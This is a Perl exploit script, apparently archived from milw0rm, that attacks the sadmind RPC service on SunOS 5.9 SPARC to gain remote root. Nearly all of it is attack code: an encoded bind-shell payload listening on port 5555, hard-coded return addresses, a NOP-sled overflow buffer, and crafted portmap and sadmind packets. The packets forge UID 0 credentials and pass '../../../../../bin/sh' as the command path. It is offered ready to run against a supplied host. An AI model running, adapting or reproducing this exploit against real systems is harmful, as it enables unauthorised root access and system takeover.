#!/usr/bin/perl # holygrail2 # #---------------------------------------------------------------------------------# # SunOS 5.9 [UltraSPARC] sadmind Remote Root Exploit by KingCope in 2008 # # # # Most of work was shamelessy ripped from HD-Moore and RISE-Security exploits!!! # # Bug found by RISE-Security. # # Sparc exploit by KingCope [kcope2@googlemail.com] # # Maybe I will extend this to Solaris 8/10/11 in futura ?? # # thanks to alex,andi,adize ... # # # ################################################################################### use strict; use POSIX; use IO::Socket; use IO::Select; print "holygrail2 vs. SunOS 5.9 sadmind\nby kcope in 2008\nbinds a shell to port 5555\n"; my $host = $ARGV[0]; if ($host eq "") { print "usage: perl holygrail2.pl
\n"; exit(-1); } # solaris_sparc_bind - LPORT=5555 Size=232 Encoder=Sparc http://metasploit.com my $payload = "\x23\x32\xde\xd7\xa2\x14\x62\x6f\x20\xbf\xff\xff\x20\xbf\xff\xff". "\x7f\xff\xff\xff\xea\x03\xe0\x20\xaa\x9d\x40\x11\xea\x23\xe0\x20". "\xa2\x04\x40\x15\x81\xdb\xe0\x20\x12\xbf\xff\xfb\x9e\x03\xe0\x04". "\x57\x50\xfe\x68\xff\xb6\xde\x77\x69\xad\xde\x7c\x01\xcb\x1e\x89". "\xbb\xfc\xbe\x8f\x2b\xec\x9e\x8d\xce\x1c\xfe\x77\x5f\xcc\xdf\x7f". "\x8f\xce\xa0\x87\x11\x10\xdf\xf2\xf1\x04\xfe\x4f\x11\x06\xbe\x5f". "\x11\x6b\x7e\x6b\x03\x4f\x21\x83\xb7\x80\x01\xb3\x35\xb0\x61\x5b". "\xa8\x60\x42\x93\x1b\x83\x3d\x5b\x09\x94\x62\x9a\xaf\x84\x42\x75". "\x3e\x74\xa3\x8d\x91\x77\x1c\x75\x83\x62\x23\x8c\x37\x80\xe3\x87". "\xb5\xb4\xc3\x7d\x28\x65\x24\x89\x9b\xa6\x9b\x71\x8f\xb8\xc4\x82". "\x3d\xa9\x24\x8d\xd5\x6b\x84\x8c\x54\x7b\xe4\xb0\xc9\xab\xc4\xc4". "\xf8\xf3\xfb\x28\x2d\x0f\xbb\x28\x59\x15\x04\xc3\x40\x21\x5c\x49". "\x22\x22\x7c\x03\x01\x41\xa2\x01\xd5\x75\xfb\xa5\x47\x5a\x5b\xcd". "\x87\xa6\x24\x3d\x97\xfa\xe4\x45\xd7\xde\xa4\x49\x5a\x30\xfb\x8a". "\xcb\xe0\xdb\xe4\xec\x01\x1b\xf4"; my $patchaddr = pack("N", 0xffbf83d8); my $retaddr = pack("N", 0xffbf88e0); sub nonblock { my ($fd) = @_; my $flags = fcntl($fd, F_GETFL,0); fcntl($fd, F_SETFL, $flags|O_NONBLOCK); } sub rpc_read { my ($s) = @_; my $sel = IO::Select->new($s); my $res; my @fds = $sel->can_read(4); foreach (@fds) { $res .= <$s>; } return $res; } sub rpc_getport { my ($target_host, $target_port, $prog, $vers) = @_; my $s = rpc_socket($target_host, $target_port); my $portmap_req = pack("L", rand() * 0xffffffff) . # XID "\x00\x00\x00\x00". # Call "\x00\x00\x00\x02". # RPC Version "\x00\x01\x86\xa0". # Program Number (PORTMAP) "\x00\x00\x00\x02". # Program Version (2) "\x00\x00\x00\x03". # Procedure (getport) ("\x00" x 16). # Credentials and Verifier pack("N", $prog) . pack("N", $vers). pack("N", 0x11). # Protocol: UDP pack("N", 0x00); # Port: 0 print $s $portmap_req; my $r = rpc_read($s); close ($s); if (length($r) == 28) { my $prog_port = unpack("N",substr($r, 24, 4)); return($prog_port); } return undef; } sub rpc_socket { my ($target_host, $target_port) = @_; my $s = IO::Socket::INET->new ( PeerAddr => $target_host, PeerPort => $target_port, Proto => "udp", Type => SOCK_DGRAM ); if (! $s) { print "\nError: could not create socket to target: $!\n"; exit(0); } select($s); $|++; select(STDOUT); $|++; nonblock($s); return($s); } sub rpc_sadmin_expl { my ($hostname, $command, $first) = @_; my $packed_host = $hostname . ("\x00" x (59 - length($hostname))); my $rpc = pack("L", rand() * 0xffffffff) . # XID "\x00\x00\x00\x00". # Call "\x00\x00\x00\x02". # RPC Version "\x00\x01\x87\x88". # Program Number (SADMIND) "\x00\x00\x00\x0a". # Program Version (10) "\x00\x00\x00\x01". # Procedure "\x00\x00\x00\x01"; # Credentials (UNIX) # Auth Length is filled in # pad it up to multiples of 4 my $rpc_hostname = $hostname; while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" } my $rpc_auth = # Time Stamp pack("N", time() + 20001) . # Machine Name pack("N", length($hostname)) . $rpc_hostname . "\x00\x00\x00\x00". # UID = 0 "\x00\x00\x00\x00". # GID = 0 "\x00\x00\x00\x00"; # No Extra Groups $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8); my $fp = pack("N", 0xffbf9108); my $buf1 = "\x90" x (2050-length($payload)-500) . $payload . "\x90\x90" . "\x90" x 500 . "CC" . $fp . $fp . $retaddr x 100; if ($first eq 1) { $buf1 = "\x90" x 50; } while (length($buf1) % 4 != 0) { $buf1 .= "\x00" } my $header = # Another Time Stamp reverse(pack("L", time() + 20005)) . "\x00\x07\x45\xdf". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04". "\x7f\x00\x00\x01". # 127.0.0.1 "\x00\x01\x87\x88". # SADMIND "\x00\x00\x00\x0a\x00\x00\x00\x04". "\x7f\x00\x00\x01". # 127.0.0.1 "\x00\x01\x87\x88". # SADMIND "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x3b". $packed_host. "\x00\x00\x00\x00\x06" . "system". "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00"; # Append Body Length ^-- Here my $body = "\x00\x00\x00\x0e". "ADM_FW_VERSION". "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00". "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x08". "ADM_LANG". "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00". "\x00\x01". "C" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0d". "ADM_REQUESTID". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11". "00009:000000000:0"."\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x09". "ADM_CLASS". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07". "\x00\x00\x00\x06" . "system" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" . "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04". "\x00\x00\x00\x03". "2.1". "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0a" . "ADM_METHOD" . "\x00\x00\x00\x00\x00\x09" . pack("N", length($buf1)+1) . pack("N", length($buf1)) . $buf1 . "\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x08". "ADM_HOST" . "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b". $packed_host. "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x0f". "ADM_CLIENT_HOST". "\x00\x00\x00\x00\x09". pack("N", length($hostname) + 1) . pack("N", length($hostname)) . $rpc_hostname . "\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN". "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS". "\x00\x00\x00\x00\x00". "\x00\x09\x00\x00\x00\x1c". "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30". "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x09" . "ADM_FENCE" . "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00". "\x00\x00\x03\x00\x00\x00\x02" . "-c" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00". "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00". $command . ("\x00" x (512 - length($command))). "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10". "netmgt_endofargs"; my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body; return($res); } $|=1; my $portmap = "111"; for (my $i=1;$i<3;$i++) { my $target_port = rpc_getport($host, $portmap, 100232, 10); if (! $target_port) { print STDERR "Error: could not determine port used by sadmind\n"; exit(0); } my $s = rpc_socket($host, $target_port); my $x = rpc_sadmin_expl("localhost", "foo", $i); print $s $x; my $r = rpc_read($s); close ($s); } # milw0rm.com [2008-10-19]